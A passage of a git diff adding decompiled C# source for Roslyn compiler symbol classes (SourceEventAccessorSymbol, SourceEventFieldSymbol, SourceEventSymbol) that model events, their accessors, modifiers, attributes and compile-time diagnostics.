CompletionPart.FinishInterfaces | CompletionPart.EnumUnderlyingType | CompletionPart.TypeArguments | CompletionPart.TypeParameters | CompletionPart.SynthesizedExplicitImplementations | CompletionPart.StartMemberChecks | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted | CompletionPart.MembersCompleted); + break; + } + state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventAccessorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventAccessorSymbol.cs new file mode 100644 index 0000000..77f59dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventAccessorSymbol.cs @@ -0,0 +1,156 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceEventAccessorSymbol : SourceMemberMethodSymbol +{ + private readonly SourceEventSymbol _event; + + private readonly string _name; + + private readonly ImmutableArray _explicitInterfaceImplementations; + + private ImmutableArray _lazyParameters; + + private TypeWithAnnotations _lazyReturnType; + + public override string Name => _name; + + internal override bool IsExplicitInterfaceImplementation => _event.IsExplicitInterfaceImplementation; + + public override ImmutableArray ExplicitInterfaceImplementations => _explicitInterfaceImplementations; + + public sealed override bool AreLocalsZeroed + { + get + { + if (!_event.HasSkipLocalsInitAttribute) + { + return base.AreLocalsZeroed; + } + return false; + } + } + + public SourceEventSymbol AssociatedEvent => _event; + + public sealed override Symbol AssociatedSymbol => _event; + + public sealed override bool ReturnsVoid + { + get + { + LazyMethodChecks(); + return base.ReturnsVoid; + } + } + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations + { + get + { + LazyMethodChecks(); + return _lazyReturnType; + } + } + + public sealed override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public sealed override ImmutableArray Parameters + { + get + { + LazyMethodChecks(); + return _lazyParameters; + } + } + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + internal Location Location => GetFirstLocation(); + + public SourceEventAccessorSymbol(SourceEventSymbol @event, SyntaxReference syntaxReference, Location location, EventSymbol explicitlyImplementedEventOpt, string aliasQualifierOpt, bool isAdder, bool isIterator, bool isNullableAnalysisEnabled, bool isExpressionBodied) + : base(@event.containingType, syntaxReference, location, isIterator, (declarationModifiers: @event.Modifiers, flags: SourceMemberMethodSymbol.MakeFlags((MethodKind)(isAdder ? 5 : 7), (RefKind)0, @event.Modifiers, returnsVoid: false, returnsVoidIsSet: false, isExpressionBodied, isExtensionMethod: false, isNullableAnalysisEnabled, isVarArg: false, @event.IsExplicitInterfaceImplementation))) + { + _event = @event; + string text; + ImmutableArray explicitInterfaceImplementations; + if ((object)explicitlyImplementedEventOpt == null) + { + text = SourceEventSymbol.GetAccessorName(@event.Name, isAdder); + explicitInterfaceImplementations = ImmutableArray.Empty; + } + else + { + MethodSymbol methodSymbol = (isAdder ? explicitlyImplementedEventOpt.AddMethod : explicitlyImplementedEventOpt.RemoveMethod); + text = ExplicitInterfaceHelpers.GetMemberName(((object)methodSymbol != null) ? methodSymbol.Name : SourceEventSymbol.GetAccessorName(explicitlyImplementedEventOpt.Name, isAdder), explicitlyImplementedEventOpt.ContainingType, aliasQualifierOpt); + explicitInterfaceImplementations = (((object)methodSymbol == null) ? ImmutableArray.Empty : ImmutableArray.Create(methodSymbol)); + } + _explicitInterfaceImplementations = explicitInterfaceImplementations; + _name = GetOverriddenAccessorName(@event, isAdder) ?? text; + } + + protected sealed override void MethodChecks(BindingDiagnosticBag diagnostics) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Invalid comparison between Unknown and I4 + if (!_lazyReturnType.IsDefault) + { + return; + } + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (_event.IsWindowsRuntimeEvent) + { + TypeSymbol wellKnownType = declaringCompilation.GetWellKnownType((WellKnownType)184); + Binder.ReportUseSite(wellKnownType, diagnostics, Location); + if ((int)MethodKind == 5) + { + _lazyReturnType = TypeWithAnnotations.Create(wellKnownType); + SetReturnsVoid(returnsVoid: false); + SynthesizedAccessorValueParameterSymbol item = new SynthesizedAccessorValueParameterSymbol(this, _event.TypeWithAnnotations, 0); + _lazyParameters = ImmutableArray.Create((ParameterSymbol)item); + } + else + { + TypeSymbol specialType = declaringCompilation.GetSpecialType((SpecialType)6); + Binder.ReportUseSite(specialType, diagnostics, Location); + _lazyReturnType = TypeWithAnnotations.Create(specialType); + SetReturnsVoid(returnsVoid: true); + SynthesizedAccessorValueParameterSymbol item2 = new SynthesizedAccessorValueParameterSymbol(this, TypeWithAnnotations.Create(wellKnownType), 0); + _lazyParameters = ImmutableArray.Create((ParameterSymbol)item2); + } + } + else + { + TypeSymbol specialType2 = declaringCompilation.GetSpecialType((SpecialType)6); + Binder.ReportUseSite(specialType2, diagnostics, Location); + _lazyReturnType = TypeWithAnnotations.Create(specialType2); + SetReturnsVoid(returnsVoid: true); + SynthesizedAccessorValueParameterSymbol item3 = new SynthesizedAccessorValueParameterSymbol(this, _event.TypeWithAnnotations, 0); + _lazyParameters = ImmutableArray.Create((ParameterSymbol)item3); + } + } + + public sealed override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public sealed override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + protected string GetOverriddenAccessorName(SourceEventSymbol @event, bool isAdder) + { + if (IsOverride) + { + EventSymbol overriddenEvent = @event.OverriddenEvent; + if ((object)overriddenEvent != null) + { + return overriddenEvent.GetOwnOrInheritedAccessor(isAdder)?.Name; + } + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventFieldSymbol.cs new file mode 100644 index 0000000..3de1bcd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventFieldSymbol.cs @@ -0,0 +1,30 @@ +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceEventFieldSymbol : SourceMemberFieldSymbolFromDeclarator +{ + private readonly SourceEventSymbol _associatedEvent; + + public override bool IsImplicitlyDeclared => true; + + protected override IAttributeTargetSymbol AttributeOwner => _associatedEvent; + + public override Symbol AssociatedSymbol => _associatedEvent; + + internal SourceEventFieldSymbol(SourceEventSymbol associatedEvent, VariableDeclaratorSyntax declaratorSyntax, BindingDiagnosticBag discardedDiagnostics) + : base(associatedEvent.containingType, declaratorSyntax, (DeclarationModifiers)(((uint)associatedEvent.Modifiers & 0xFFFFFC0Fu) | 0x100), modifierErrors: true, discardedDiagnostics) + { + _associatedEvent = associatedEvent; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDebuggerBrowsableNeverAttribute()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventSymbol.cs new file mode 100644 index 0000000..eec3cd8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceEventSymbol.cs @@ -0,0 +1,583 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceEventSymbol : EventSymbol, IAttributeTargetSymbol +{ + private readonly Location _location; + + private readonly SyntaxReference _syntaxRef; + + private readonly DeclarationModifiers _modifiers; + + internal readonly SourceMemberContainerTypeSymbol containingType; + + private SymbolCompletionState _state; + + private CustomAttributesBag? _lazyCustomAttributesBag; + + private string? _lazyDocComment; + + private string? _lazyExpandedDocComment; + + private OverriddenOrHiddenMembersResult? _lazyOverriddenOrHiddenMembers; + + private ThreeState _lazyIsWindowsRuntimeEvent; + + public Location Location => _location; + + internal sealed override bool RequiresCompletion => true; + + public abstract override string Name { get; } + + public abstract override MethodSymbol? AddMethod { get; } + + public abstract override MethodSymbol? RemoveMethod { get; } + + public abstract override ImmutableArray ExplicitInterfaceImplementations { get; } + + public abstract override TypeWithAnnotations TypeWithAnnotations { get; } + + public sealed override Symbol ContainingSymbol => containingType; + + public override NamedTypeSymbol ContainingType => containingType; + + public sealed override ImmutableArray Locations => ImmutableArray.Create(_location); + + public sealed override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Create(_syntaxRef); + + internal SyntaxList AttributeDeclarationSyntaxList + { + get + { + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (containingType.AnyMemberHasAttributes) + { + CSharpSyntaxNode cSharpSyntaxNode = CSharpSyntaxNode; + if (cSharpSyntaxNode != null) + { + return (SyntaxList)(cSharpSyntaxNode.Kind() switch + { + SyntaxKind.EventDeclaration => ((EventDeclarationSyntax)cSharpSyntaxNode).AttributeLists, + SyntaxKind.VariableDeclarator => ((EventFieldDeclarationSyntax)cSharpSyntaxNode.Parent.Parent).AttributeLists, + _ => throw ExceptionUtilities.UnexpectedValue((object)cSharpSyntaxNode.Kind()), + }); + } + } + return default(SyntaxList); + } + } + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => this; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.Event; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations => AllowedAttributeLocations; + + protected abstract AttributeLocation AllowedAttributeLocations { get; } + + internal override ObsoleteAttributeData? ObsoleteAttributeData + { + get + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Expected O, but got Unknown + if (!containingType.AnyMemberHasAttributes) + { + return null; + } + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsEarlyDecodedWellKnownAttributeDataComputed) + { + CommonEventEarlyWellKnownAttributeData val = (CommonEventEarlyWellKnownAttributeData)lazyCustomAttributesBag.EarlyDecodedWellKnownAttributeData; + if (val == null) + { + return null; + } + return val.ObsoleteAttributeData; + } + return ObsoleteAttributeData.Uninitialized; + } + } + + internal sealed override bool IsDirectlyExcludedFromCodeCoverage + { + get + { + CommonEventWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return decodedWellKnownAttributeData.HasExcludeFromCodeCoverageAttribute; + } + } + + internal sealed override bool HasSpecialName + { + get + { + CommonEventWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return decodedWellKnownAttributeData.HasSpecialNameAttribute; + } + return false; + } + } + + public bool HasSkipLocalsInitAttribute + { + get + { + CommonEventWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return decodedWellKnownAttributeData.HasSkipLocalsInitAttribute; + } + } + + public sealed override bool IsAbstract => (_modifiers & DeclarationModifiers.Abstract) != 0; + + public sealed override bool IsExtern => (_modifiers & DeclarationModifiers.Extern) != 0; + + public sealed override bool IsStatic => (_modifiers & DeclarationModifiers.Static) != 0; + + public sealed override bool IsOverride => (_modifiers & DeclarationModifiers.Override) != 0; + + public sealed override bool IsSealed => (_modifiers & DeclarationModifiers.Sealed) != 0; + + public sealed override bool IsVirtual => (_modifiers & DeclarationModifiers.Virtual) != 0; + + internal bool IsReadOnly => (_modifiers & DeclarationModifiers.ReadOnly) != 0; + + public sealed override Accessibility DeclaredAccessibility => ModifierUtils.EffectiveAccessibility(_modifiers); + + internal sealed override bool MustCallMethodsDirectly => false; + + internal SyntaxReference SyntaxReference => _syntaxRef; + + internal CSharpSyntaxNode CSharpSyntaxNode => (CSharpSyntaxNode)(object)_syntaxRef.GetSyntax(default(CancellationToken)); + + internal SyntaxTree SyntaxTree => _syntaxRef.SyntaxTree; + + internal bool IsNew => (_modifiers & DeclarationModifiers.New) != 0; + + internal DeclarationModifiers Modifiers => _modifiers; + + internal override OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers + { + get + { + if (_lazyOverriddenOrHiddenMembers == null) + { + Interlocked.CompareExchange(ref _lazyOverriddenOrHiddenMembers, this.MakeOverriddenOrHiddenMembers(), null); + } + return _lazyOverriddenOrHiddenMembers; + } + } + + public sealed override bool IsWindowsRuntimeEvent + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (!ThreeStateHelpers.HasValue(_lazyIsWindowsRuntimeEvent)) + { + _lazyIsWindowsRuntimeEvent = ThreeStateHelpers.ToThreeState(ComputeIsWindowsRuntimeEvent()); + } + return ThreeStateHelpers.Value(_lazyIsWindowsRuntimeEvent); + } + } + + internal SourceEventSymbol(SourceMemberContainerTypeSymbol containingType, CSharpSyntaxNode syntax, SyntaxTokenList modifiers, bool isFieldLike, ExplicitInterfaceSpecifierSyntax? interfaceSpecifierSyntaxOpt, SyntaxToken nameTokenSyntax, BindingDiagnosticBag diagnostics) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + _location = ((SyntaxToken)(ref nameTokenSyntax)).GetLocation(); + this.containingType = containingType; + _syntaxRef = syntax.GetReference(); + bool flag = interfaceSpecifierSyntaxOpt != null; + _modifiers = MakeModifiers(modifiers, flag, isFieldLike, _location, diagnostics, out var _); + CheckAccessibility(_location, diagnostics, flag); + } + + internal sealed override bool HasComplete(CompletionPart part) + { + return _state.HasComplete(part); + } + + internal override void ForceComplete(SourceLocation? locationOpt, CancellationToken cancellationToken) + { + _state.DefaultForceComplete(this, cancellationToken); + } + + internal override LexicalSortKey GetLexicalSortKey() + { + return new LexicalSortKey(_location, DeclaringCompilation); + } + + public override Location TryGetFirstLocation() + { + return _location; + } + + private CustomAttributesBag GetAttributesBag() + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((_lazyCustomAttributesBag == null || !_lazyCustomAttributesBag.IsSealed) && LoadAndValidateAttributes(OneOrMany.Create>(AttributeDeclarationSyntaxList), ref _lazyCustomAttributesBag)) + { + DeclaringCompilation.SymbolDeclaredEvent(this); + _state.NotePartComplete(CompletionPart.Attributes); + } + return _lazyCustomAttributesBag; + } + + public sealed override ImmutableArray GetAttributes() + { + return GetAttributesBag().Attributes; + } + + protected CommonEventWellKnownAttributeData GetDecodedWellKnownAttributeData() + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (CommonEventWellKnownAttributeData)val.DecodedWellKnownAttributeData; + } + + internal CommonEventEarlyWellKnownAttributeData GetEarlyDecodedWellKnownAttributeData() + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsEarlyDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (CommonEventEarlyWellKnownAttributeData)val.EarlyDecodedWellKnownAttributeData; + } + + internal override (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + if (Symbol.EarlyDecodeDeprecatedOrExperimentalOrObsoleteAttribute(ref arguments, out CSharpAttributeData attributeData, out BoundAttribute boundAttribute, out ObsoleteAttributeData obsoleteData)) + { + if (obsoleteData != null) + { + arguments.GetOrCreateData().ObsoleteAttributeData = obsoleteData; + } + return (attributeData, boundAttribute); + } + return base.EarlyDecodeWellKnownAttribute(ref arguments); + } + + protected sealed override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + BindingDiagnosticBag bindingDiagnosticBag = (BindingDiagnosticBag)(object)arguments.Diagnostics; + if (attribute.IsTargetAttribute(this, AttributeDescription.SpecialNameAttribute)) + { + arguments.GetOrCreateData().HasSpecialNameAttribute = true; + } + else if (!ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.TupleElementNamesAttribute | ReservedAttributes.NullableAttribute | ReservedAttributes.NativeIntegerAttribute)) + { + if (attribute.IsTargetAttribute(this, AttributeDescription.ExcludeFromCodeCoverageAttribute)) + { + arguments.GetOrCreateData().HasExcludeFromCodeCoverageAttribute = true; + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.SkipLocalsInitAttribute)) + { + CSharpAttributeData.DecodeSkipLocalsInitAttribute(DeclaringCompilation, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.UnscopedRefAttribute)) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_UnscopedRefAttributeUnsupportedMemberTarget, ((SyntaxNode)arguments.AttributeSyntaxOpt).Location); + } + } + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder? attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations; + if (typeWithAnnotations.Type.ContainsDynamic()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDynamicAttribute(typeWithAnnotations.Type, typeWithAnnotations.CustomModifiers.Length, (RefKind)0)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(typeWithAnnotations.Type)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNativeIntegerAttribute(this, typeWithAnnotations.Type)); + } + if (typeWithAnnotations.Type.ContainsTupleNames()) + { + Symbol.AddSynthesizedAttribute(ref attributes, DeclaringCompilation.SynthesizeTupleNamesAttribute(typeWithAnnotations.Type)); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(this, containingType.GetNullableContextValue(), typeWithAnnotations)); + } + } + + private void CheckAccessibility(Location location, BindingDiagnosticBag diagnostics, bool isExplicitInterfaceImplementation) + { + ModifierUtils.CheckAccessibility(_modifiers, this, isExplicitInterfaceImplementation, diagnostics, location); + } + + private DeclarationModifiers MakeModifiers(SyntaxTokenList modifiers, bool explicitInterfaceImplementation, bool isFieldLike, Location location, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + bool isInterface = ContainingType.IsInterface; + DeclarationModifiers defaultAccess = ((isInterface && !explicitInterfaceImplementation) ? DeclarationModifiers.Public : DeclarationModifiers.Private); + DeclarationModifiers declarationModifiers = DeclarationModifiers.None; + DeclarationModifiers declarationModifiers2 = DeclarationModifiers.Unsafe; + if (!explicitInterfaceImplementation) + { + declarationModifiers2 |= DeclarationModifiers.AccessibilityMask | DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.Static | DeclarationModifiers.New | DeclarationModifiers.Virtual; + if (!isInterface) + { + declarationModifiers2 |= DeclarationModifiers.Override; + } + else + { + defaultAccess = DeclarationModifiers.None; + declarationModifiers2 |= DeclarationModifiers.Extern; + declarationModifiers |= DeclarationModifiers.AccessibilityMask | DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.Static | DeclarationModifiers.Extern | DeclarationModifiers.Virtual; + } + } + else + { + if (isInterface) + { + declarationModifiers2 |= DeclarationModifiers.Abstract; + } + declarationModifiers2 |= DeclarationModifiers.Static; + } + if (ContainingType.IsStructType()) + { + declarationModifiers2 |= DeclarationModifiers.ReadOnly; + } + if (!isInterface) + { + declarationModifiers2 |= DeclarationModifiers.Extern; + } + DeclarationModifiers declarationModifiers3 = ModifierUtils.MakeAndCheckNonTypeMemberModifiers(isOrdinaryMethod: false, isInterface, modifiers, defaultAccess, declarationModifiers2, location, diagnostics, out modifierErrors); + ModifierUtils.CheckFeatureAvailabilityForStaticAbstractMembersInInterfacesIfNeeded(declarationModifiers3, explicitInterfaceImplementation, location, diagnostics); + this.CheckUnsafeModifier(declarationModifiers3, diagnostics); + ModifierUtils.ReportDefaultInterfaceImplementationModifiers(!isFieldLike, declarationModifiers3, declarationModifiers, location, diagnostics); + if (isInterface) + { + declarationModifiers3 = ModifierUtils.AdjustModifiersForAnInterfaceMember(declarationModifiers3, !isFieldLike, explicitInterfaceImplementation); + } + return declarationModifiers3; + } + + protected void CheckModifiersAndType(BindingDiagnosticBag diagnostics) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison between Unknown and I4 + //IL_03ce: Unknown result type (might be due to invalid IL or missing references) + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_0141: Invalid comparison between Unknown and I4 + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Invalid comparison between Unknown and I4 + //IL_0246: Unknown result type (might be due to invalid IL or missing references) + //IL_0219: Unknown result type (might be due to invalid IL or missing references) + //IL_035e: Unknown result type (might be due to invalid IL or missing references) + //IL_0364: Invalid comparison between Unknown and I4 + //IL_036c: Unknown result type (might be due to invalid IL or missing references) + //IL_0373: Invalid comparison between Unknown and I4 + Location firstLocation = GetFirstLocation(); + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + bool flag = ContainingType.IsInterface && IsExplicitInterfaceImplementation; + if ((int)DeclaredAccessibility == 1 && (IsVirtual || (IsAbstract && !flag) || IsOverride)) + { + diagnostics.Add(ErrorCode.ERR_VirtualPrivate, firstLocation, this); + } + else if (IsReadOnly && IsStatic) + { + diagnostics.Add(ErrorCode.ERR_StaticMemberCantBeReadOnly, firstLocation, this); + } + else if (IsReadOnly && base.HasAssociatedField) + { + diagnostics.Add(ErrorCode.ERR_FieldLikeEventCantBeReadOnly, firstLocation, this); + } + else if (IsOverride && (IsNew || IsVirtual)) + { + diagnostics.Add(ErrorCode.ERR_OverrideNotNew, firstLocation, this); + } + else if (IsSealed && !IsOverride && (!flag || !IsAbstract)) + { + diagnostics.Add(ErrorCode.ERR_SealedNonOverride, firstLocation, this); + } + else if (IsAbstract && (int)ContainingType.TypeKind == 10) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, firstLocation, SyntaxFacts.GetText(SyntaxKind.AbstractKeyword)); + } + else if (IsVirtual && (int)ContainingType.TypeKind == 10) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, firstLocation, SyntaxFacts.GetText(SyntaxKind.VirtualKeyword)); + } + else if (IsAbstract && IsExtern) + { + diagnostics.Add(ErrorCode.ERR_AbstractAndExtern, firstLocation, this); + } + else if (IsAbstract && IsSealed && !flag) + { + diagnostics.Add(ErrorCode.ERR_AbstractAndSealed, firstLocation, this); + } + else if (IsAbstract && IsVirtual) + { + diagnostics.Add(ErrorCode.ERR_AbstractNotVirtual, firstLocation, Kind.Localize(), this); + } + else if (ContainingType.IsSealed && DeclaredAccessibility.HasProtected() && !IsOverride) + { + diagnostics.Add(AccessCheck.GetProtectedMemberInSealedTypeError(ContainingType), firstLocation, this); + } + else if (ContainingType.IsStatic && !IsStatic) + { + diagnostics.Add(ErrorCode.ERR_InstanceMemberInStaticClass, firstLocation, Name); + } + else if (!base.Type.IsVoidType()) + { + if (!this.IsNoMoreVisibleThan(base.Type, ref useSiteInfo) && (CSharpSyntaxNode as EventDeclarationSyntax)?.ExplicitInterfaceSpecifier == null) + { + diagnostics.Add(ErrorCode.ERR_BadVisEventType, firstLocation, this, base.Type); + } + else if (!base.Type.IsDelegateType() && !base.Type.IsErrorType()) + { + diagnostics.Add(ErrorCode.ERR_EventNotDelegate, firstLocation, this); + } + else if (IsAbstract && !ContainingType.IsAbstract && ((int)ContainingType.TypeKind == 2 || (int)ContainingType.TypeKind == 12)) + { + diagnostics.Add(ErrorCode.ERR_AbstractInConcreteClass, firstLocation, this, ContainingType); + } + else if (IsVirtual && ContainingType.IsSealed) + { + diagnostics.Add(ErrorCode.ERR_NewVirtualInSealed, firstLocation, this, ContainingType); + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add(firstLocation, useSiteInfo); + } + + public override string GetDocumentationCommentXml(CultureInfo? preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return SourceDocumentationCommentUtils.GetAndCacheDocumentationComment(this, expandIncludes, ref expandIncludes ? ref _lazyExpandedDocComment : ref _lazyDocComment); + } + + protected static void CopyEventCustomModifiers(EventSymbol eventWithCustomModifiers, ref TypeWithAnnotations type, AssemblySymbol containingAssembly) + { + TypeSymbol type2 = eventWithCustomModifiers.Type; + if (type.Type.Equals(type2, (TypeCompareKind)11)) + { + type = type.WithTypeAndModifiers(CustomModifierUtils.CopyTypeCustomModifiers(type2, type.Type, containingAssembly), eventWithCustomModifiers.TypeWithAnnotations.CustomModifiers); + } + } + + private bool ComputeIsWindowsRuntimeEvent() + { + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Invalid comparison between Unknown and I4 + ImmutableArray explicitInterfaceImplementations = ExplicitInterfaceImplementations; + if (!explicitInterfaceImplementations.IsEmpty) + { + return explicitInterfaceImplementations[0].IsWindowsRuntimeEvent; + } + if (containingType.IsInterfaceType()) + { + return this.IsCompilationOutputWinMdObj(); + } + EventSymbol overriddenEvent = base.OverriddenEvent; + if ((object)overriddenEvent != null) + { + return overriddenEvent.IsWindowsRuntimeEvent; + } + bool flag = false; + foreach (NamedTypeSymbol key in containingType.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.Keys) + { + ImmutableArray.Enumerator enumerator2 = key.GetMembers(Name).GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current = enumerator2.Current; + if ((int)current.Kind == 5 && current.IsImplementableInterfaceMember() && this == containingType.FindImplementationForInterfaceMemberInNonInterface(current, ignoreImplementationInInterfacesIfResultIsNotReady: true)) + { + flag = true; + if (((EventSymbol)current).IsWindowsRuntimeEvent) + { + return true; + } + } + } + } + if (flag) + { + return false; + } + return this.IsCompilationOutputWinMdObj(); + } + + internal static string GetAccessorName(string eventName, bool isAdder) + { + return (isAdder ? "add_" : "remove_") + eventName; + } + + protected TypeWithAnnotations BindEventType(Binder binder, TypeSyntax typeSyntax, BindingDiagnosticBag diagnostics) + { + binder = binder.WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.SuppressConstraintChecks | BinderFlags.SuppressUnsafeDiagnostics, this); + return binder.BindType(typeSyntax, diagnostics); + } + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location firstLocation = GetFirstLocation(); + CheckModifiersAndType(diagnostics); + base.Type.CheckAllConstraints(declaringCompilation, conversions, firstLocation, diagnostics); + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(base.Type)) + { + declaringCompilation.EnsureNativeIntegerAttributeExists(diagnostics, firstLocation, modifyCompilation: true); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this) && TypeWithAnnotations.NeedsNullableAttribute()) + { + declaringCompilation.EnsureNullableAttributeExists(diagnostics, firstLocation, modifyCompilation: true); + } + EventSymbol eventSymbol = ExplicitInterfaceImplementations.FirstOrDefault(); + if ((object)eventSymbol != null) + { + CheckExplicitImplementationAccessor(AddMethod, eventSymbol.AddMethod, eventSymbol, diagnostics); + CheckExplicitImplementationAccessor(RemoveMethod, eventSymbol.RemoveMethod, eventSymbol, diagnostics); + } + } + + private void CheckExplicitImplementationAccessor(MethodSymbol? thisAccessor, MethodSymbol? otherAccessor, EventSymbol explicitlyImplementedEvent, BindingDiagnosticBag diagnostics) + { + if (!otherAccessor.IsImplementable() && (object)thisAccessor != null) + { + diagnostics.Add(ErrorCode.ERR_ExplicitPropertyAddingAccessor, thisAccessor.GetFirstLocation(), thisAccessor, explicitlyImplementedEvent); + } + } +} diff --git 